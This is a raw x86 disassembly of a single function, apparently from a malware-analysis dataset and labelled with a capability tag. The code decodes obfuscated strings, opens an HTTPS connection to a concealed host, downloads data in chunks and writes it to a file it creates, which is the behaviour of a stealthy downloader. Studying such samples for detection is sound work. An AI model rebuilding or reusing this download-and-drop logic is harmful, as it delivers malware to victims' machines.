Function at 0x406d30
Capabilities:
Get process heap force flags

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45bf14
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x700
mov eax, dword [0x474010]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x6f0], edx
mov eax, dword [ebx + 0x14]
mov edi, dword [ebx + 0x10]
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebx + 0x20]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebx + 0x24]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebx + 0x28]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebx + 0x2c]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebx + 0x30]
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebx + 0x34]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebx + 0x38]
mov dword [ebp - 0x664], eax
mov edx, str.Download_Part_1
mov dword [ebp - 4], 1
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
cmp dword [ebx + 0x50], 0x10
lea ecx, [ebx + 0x3c]
mov eax, dword [ebx + 0x4c]
cmovae ecx, dword [ebx + 0x3c]
add eax, ecx
cmp dword [ebx + 0x50], 0x10
lea ecx, [ebx + 0x3c]
cmovae ecx, dword [ebx + 0x3c]
push eax
push ecx
lea ecx, [ebp - 0x6c4]
call fcn.00419270
lea eax, [ebp - 0x6c4]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x6ac]
call fcn.004143d0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x6ac]
cmp dword [ebp - 0x698], 8
xorps xmm0, xmm0
cmovae eax, dword [ebp - 0x6ac]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6e0], eax
push 0x5a
movups xmmword [ecx], xmm0
push str.057101100106091100106035074111102091048022087102102098095089087106095101100037096105101100
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x694]
call fcn.0041dc90
add esp, 0x18
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x680]
mov eax, edx
mov ecx, dword [ebp - 0x684]
sub eax, ecx
cmp eax, 2
jb 0x406ec1
lea eax, [ecx + 2]
cmp edx, 0x10
mov dword [ebp - 0x684], eax
mov edx, 0xa0d
lea eax, [ebp - 0x694]
cmovae eax, dword [ebp - 0x694]
mov word [eax + ecx], dx
mov byte [eax + ecx + 2], 0
jmp 0x406ee2
push 2
push 0x46b414
mov byte [ebp - 0x6cc], 0
lea ecx, [ebp - 0x694]
push dword [ebp - 0x6cc]
push 2
call fcn.0041a760
cmp dword [ebp - 0x680], 0x10
lea eax, [ebp - 0x694]
push 0x27
cmovae eax, dword [ebp - 0x694]
push eax
push 0x476c98
call fcn.00442490
sub esp, 0xc
mov dword [ebp - 0x628], str.text_
mov ecx, esp
mov dword [ebp - 0x624], 0
xorps xmm0, xmm0
push 0x15
movups xmmword [ecx], xmm0
push str.092095104091092101110
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x67c]
call fcn.0041deb0
add esp, 0x18
mov byte [ebp - 4], 5
cmp dword [eax + 0x14], 8
jb 0x406f56
mov eax, dword [eax]
test edi, edi
je 0x406f69
push 0
push 0
push 0
push 1
push eax
call edi
mov esi, eax
jmp 0x406f6b
xor esi, esi
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x668]
cmp ecx, 8
jb 0x406faf
mov edx, dword [ebp - 0x67c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406fa5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c4f
push ecx
push edx
call fcn.00436385
add esp, 8
xor eax, eax
mov dword [ebp - 0x66c], 0
mov word [ebp - 0x67c], ax
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x668], 7
test eax, eax
je 0x406ff6
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push dword [ebp - 0x6e0]
push esi
call eax
mov dword [ebp - 0x6cc], eax
jmp 0x407000
mov dword [ebp - 0x6cc], 0
push 0
push 0
push 0
push 1
push 0x46b544
call edi
mov dword [ebp - 0x6d0], eax
test eax, eax
jne 0x40703b
mov edx, str.The_newspaper_got_wet_in_the_rain.
mov ecx, 0x475f58
call fcn.00418f30
push eax
call fcn.004191d0
add esp, 4
mov esi, 1
jmp 0x407aa5
mov edx, str.Download_Part_2
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
add esp, 4
mov dword [ebp - 0x648], 0
xorps xmm0, xmm0
mov dword [ebp - 0x644], 0
lea ecx, [ebp - 0x658]
movups xmmword [ebp - 0x658], xmm0
push 0
push 0x46b344
call fcn.0041a540
xorps xmm0, xmm0
mov dword [ebp - 0x630], 0
xor eax, eax
mov dword [ebp - 0x62c], 7
movups xmmword [ebp - 0x640], xmm0
mov word [ebp - 0x640], ax
mov edx, str.Download_Part_3
mov byte [ebp - 4], 7
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
mov edi, dword [ebx + 0x68]
lea ecx, [ebx + 0x54]
mov esi, dword [ebx + 0x64]
add esp, 4
cmp edi, 8
mov edx, esi
cmovae ecx, dword [ebx + 0x54]
push 1
push 0x46b7c0
push ecx
call fcn.00419fb0
add esp, 0xc
mov dword [ebp - 0x66c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x668], 0
movups xmmword [ebp - 0x67c], xmm0
lea edx, [eax + 1]
cmp esi, edx
jb 0x407c54
sub esi, edx
lea eax, [ebx + 0x54]
or ecx, 0xffffffff
cmp esi, 0xffffffff
cmovb ecx, esi
cmp edi, 8
push ecx
cmovae eax, dword [ebx + 0x54]
lea ecx, [ebp - 0x67c]
lea eax, [eax + edx*2]
push eax
call fcn.0041a540
push 0x104
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 8
push eax
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x21
movups xmmword [ecx], xmm0
push str.075073059072070072069060063066059
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x70c]
call fcn.0041deb0
add esp, 0x18
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 8
jb 0x407185
mov eax, dword [eax]
push eax
call dword [ebp - 0x6c8]
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x4071d0
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4071c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c59
push ecx
push edx
call fcn.00436385
add esp, 8
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4071e0
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x640]
call fcn.00416850
mov edx, dword [ebp - 0x62c]
mov eax, edx
mov ecx, dword [ebp - 0x630]
sub eax, ecx
cmp eax, 1
jb 0x407239
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x630], eax
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
mov dword [eax + ecx*2], 0x5c
jmp 0x40725a
push 1
push 0x46b5b4
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push 1
call fcn.0041a270
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x15
movups xmmword [ecx], xmm0
push str.055102102058087106087
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x70c]
call fcn.0041deb0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xa
cmp dword [edx + 0x14], 8
mov edi, dword [edx + 0x10]
jb 0x40729e
mov edx, dword [edx]
mov ecx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x62c]
sub eax, ecx
mov dword [ebp - 0x6c8], ecx
cmp edi, eax
ja 0x4072f4
cmp dword [ebp - 0x62c], 8
lea eax, [ecx + edi]
lea esi, [ebp - 0x640]
mov dword [ebp - 0x630], eax
cmovae esi, dword [ebp - 0x640]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.00437650
mov eax, dword [ebp - 0x6c8]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x40730f
push edi
push edx
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push edi
call fcn.0041a270
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x407353
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407349
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c5e
push ecx
push edx
call fcn.00436385
add esp, 8
mov edx, dword [ebp - 0x62c]
mov eax, edx
mov ecx, dword [ebp - 0x630]
sub eax, ecx
cmp eax, 1
jb 0x40738a
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x630], eax
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
mov dword [eax + ecx*2], 0x5c
jmp 0x4073ab
push 1
push 0x46b5b4
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push 1
call fcn.0041a270
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xf
movups xmmword [ecx], xmm0
push str.066101089087098
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x70c]
call fcn.0041deb0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xb
cmp dword [edx + 0x14], 8
mov edi, dword [edx + 0x10]
jb 0x4073ef
mov edx, dword [edx]
mov ecx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x62c]
sub eax, ecx
mov dword [ebp - 0x6c8], ecx
cmp edi, eax
ja 0x407445
cmp dword [ebp - 0x62c], 8
lea eax, [edi + ecx]
lea esi, [ebp - 0x640]
mov dword [ebp - 0x630], eax
cmovae esi, dword [ebp - 0x640]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.00437650
mov eax, dword [ebp - 0x6c8]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x407460
push edi
push edx
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push edi
call fcn.0041a270
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x4074a4
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40749a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c63
push ecx
push edx
call fcn.00436385
add esp, 8
mov edx, dword [ebp - 0x62c]
mov eax, edx
mov ecx, dword [ebp - 0x630]
sub eax, ecx
cmp eax, 1
jb 0x4074db
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x630], eax
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
mov dword [eax + ecx*2], 0x5c
jmp 0x4074fc
push 1
push 0x46b5b4
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push 1
call fcn.0041a270
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xc
movups xmmword [ecx], xmm0
push str.074091099102
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0041a9a0
lea ecx, [ebp - 0x70c]
call fcn.0041deb0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xc
cmp dword [edx + 0x14], 8
mov edi, dword [edx + 0x10]
jb 0x407540
mov edx, dword [edx]
mov ecx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x62c]
sub eax, ecx
mov dword [ebp - 0x6c8], ecx
cmp edi, eax
ja 0x407596
cmp dword [ebp - 0x62c], 8
lea eax, [ecx + edi]
lea esi, [ebp - 0x640]
mov dword [ebp - 0x630], eax
cmovae esi, dword [ebp - 0x640]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.00437650
mov eax, dword [ebp - 0x6c8]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x4075b1
push edi
push edx
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push edi
call fcn.0041a270
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x4075f5
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4075eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c68
push ecx
push edx
call fcn.00436385
add esp, 8
mov edx, dword [ebp - 0x62c]
mov eax, edx
mov ecx, dword [ebp - 0x630]
sub eax, ecx
cmp eax, 1
jb 0x40762c
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x630], eax
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
mov dword [eax + ecx*2], 0x5c
jmp 0x40764d
push 1
push 0x46b5b4
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push 1
call fcn.0041a270
mov edx, str.Download_Part_4
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
mov edx, dword [ebp - 0x648]
lea ecx, [ebx + 0x54]
mov eax, dword [ebp - 0x644]
add esp, 4
cmp dword [ebx + 0x68], 8
mov edi, dword [ebx + 0x64]
cmovae ecx, dword [ebx + 0x54]
sub eax, edx
mov dword [ebp - 0x6c8], edx
cmp edi, eax
ja 0x4076c9
cmp dword [ebp - 0x644], 8
lea eax, [edi + edx]
mov dword [ebp - 0x648], eax
lea esi, [ebp - 0x658]
cmovae esi, dword [ebp - 0x658]
lea eax, [edi + edi]
push eax
push ecx
lea eax, [esi + edx*2]
push eax
call fcn.00437650
mov eax, dword [ebp - 0x6c8]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x4076e4
push edi
push ecx
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x658]
push dword [ebp - 0x6c8]
push edi
call fcn.0041a270
cmp dword [ebp - 0x668], 8
lea ecx, [ebp - 0x67c]
mov edx, dword [ebp - 0x630]
cmovae ecx, dword [ebp - 0x67c]
mov eax, dword [ebp - 0x62c]
mov edi, dword [ebp - 0x66c]
sub eax, edx
mov dword [ebp - 0x6c8], edx
cmp edi, eax
ja 0x407754
cmp dword [ebp - 0x62c], 8
lea eax, [edi + edx]
mov dword [ebp - 0x630], eax
lea esi, [ebp - 0x640]
cmovae esi, dword [ebp - 0x640]
lea eax, [edi + edi]
push eax
push ecx
lea eax, [esi + edx*2]
push eax
call fcn.00437650
mov eax, dword [ebp - 0x6c8]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x40776f
push edi
push ecx
mov byte [ebp - 0x6c8], 0
lea ecx, [ebp - 0x640]
push dword [ebp - 0x6c8]
push edi
call fcn.0041a270
cmp dword [ebp - 0x644], 8
lea edx, [ebp - 0x658]
push dword [ebp - 0x648]
cmovae edx, dword [ebp - 0x658]
mov ecx, 0x475e98
call fcn.0041cbb0
add esp, 4
mov ecx, eax
call fcn.00419380
cmp dword [ebp - 0x62c], 8
lea edx, [ebp - 0x640]
push dword [ebp - 0x630]
cmovae edx, dword [ebp - 0x640]
mov ecx, eax
call fcn.0041cbb0
add esp, 4
push eax
call fcn.00419700
add esp, 4
mov edx, str.Download_Part_5
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
mov ecx, dword [ebp - 0x6e4]
lea eax, [ebp - 0x658]
add esp, 4
cmp dword [ebp - 0x644], 8
cmovae eax, dword [ebp - 0x658]
test ecx, ecx
je 0x407824
push 0
push 0x800000
lea edx, [ebp - 0x628]
push edx
push 0
push 0
push eax
push 0x46b774
push dword [ebp - 0x6cc]
call ecx
mov edi, eax
jmp 0x407826
xor edi, edi
push 4
lea eax, [ebp - 0x660]
mov dword [ebp - 0x660], 0x3100
push eax
push 0x1f
push edi
call dword [ebp - 0x6e8]
mov ecx, 0x476c98
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407850
mov eax, dword [ebp - 0x6ec]
sub ecx, edx
test eax, eax
je 0x407874
push 0
push dword [ebp - 0x6f0]
push ecx
push 0x476c98
push edi
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, str.Download_Part_6
mov ecx, 0x475d98
mov esi, eax
call fcn.00418f30
push esi
mov ecx, eax
call fcn.00413e10
push eax
call fcn.004191d0
add esp, 4
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
cmovae eax, dword [ebp - 0x640]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [ebp - 0x664]
mov esi, eax
cmp esi, 0xffffffff
je 0x407c12
mov edx, str.Download_Part_7
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
add esp, 4
lea eax, [ebp - 0x65c]
push eax
push 0x400
lea eax, [ebp - 0x620]
push eax
push edi
call dword [ebp - 0x6d8]
test eax, eax
je 0x407958
nop word [eax + eax]
mov eax, dword [ebp - 0x65c]
test eax, eax
je 0x407958
push 0
lea ecx, [ebp - 0x664]
push ecx
push eax
lea eax, [ebp - 0x620]
push eax
push esi
call dword [ebp - 0x6f4]
test eax, eax
je 0x407c0b
lea eax, [ebp - 0x65c]
push eax
push 0x400
lea eax, [ebp - 0x620]
push eax
push edi
call dword [ebp - 0x6d8]
test eax, eax
jne 0x407910
mov edx, str.Download_Part_8
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [ebp - 0x6dc]
push dword [ebp - 0x6d0]
call dword [ebp - 0x6d4]
mov edx, str.Download_Part_9
mov ecx, 0x475d98
call fcn.00418f30
push eax
call fcn.004191d0
add esp, 4
mov esi, 1
mov eax, dword [ebp - 0x668]
cmp eax, 8
jb 0x4079eb
mov edx, dword [ebp - 0x67c]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4079e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebp - 0x62c]
cmp ecx, 8
jb 0x407a2b
mov edx, dword [ebp - 0x640]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407a21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebp - 0x644]
xor eax, eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
cmp ecx, 8
jb 0x407a88
mov edx, dword [ebp - 0x658]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407a7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
xor eax, eax
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 7
mov word [ebp - 0x658], ax
mov ecx, dword [ebp - 0x680]
cmp ecx, 0x10
jb 0x407adf
mov edx, dword [ebp - 0x694]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407ad5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebp - 0x698]
mov dword [ebp - 0x684], 0
mov dword [ebp - 0x680], 0xf
mov byte [ebp - 0x694], 0
cmp ecx, 8
jb 0x407b3a
mov edx, dword [ebp - 0x6ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407b30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebp - 0x6b0]
xor eax, eax
mov dword [ebp - 0x69c], 0
mov dword [ebp - 0x698], 7
mov word [ebp - 0x6ac], ax
cmp ecx, 8
jb 0x407b97
mov edx, dword [ebp - 0x6c4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407b8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebx + 0x50]
cmp ecx, 0x10
jb 0x407bcb
mov edx, dword [ebx + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407bc1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
push ecx
push edx
call fcn.00436385
add esp, 8
mov ecx, dword [ebx + 0x68]
mov dword [ebx + 0x4c], 0
mov dword [ebx + 0x50], 0xf
mov byte [ebx + 0x3c], 0
cmp ecx, 8
jb 0x407c2f
mov edx, dword [ebx + 0x54]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407c25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407c6d
jmp 0x407c25
push esi
call dword [ebp - 0x6dc]
push dword [ebp - 0x6d0]
call dword [ebp - 0x6d4]
xor esi, esi
jmp 0x4079ab
push ecx
push edx
call fcn.00436385
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00436030
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004432a9
call fcn.00418440
call fcn.004432a9
call fcn.004432a9
call fcn.004432a9
call fcn.004432a9
call fcn.004432a9
int3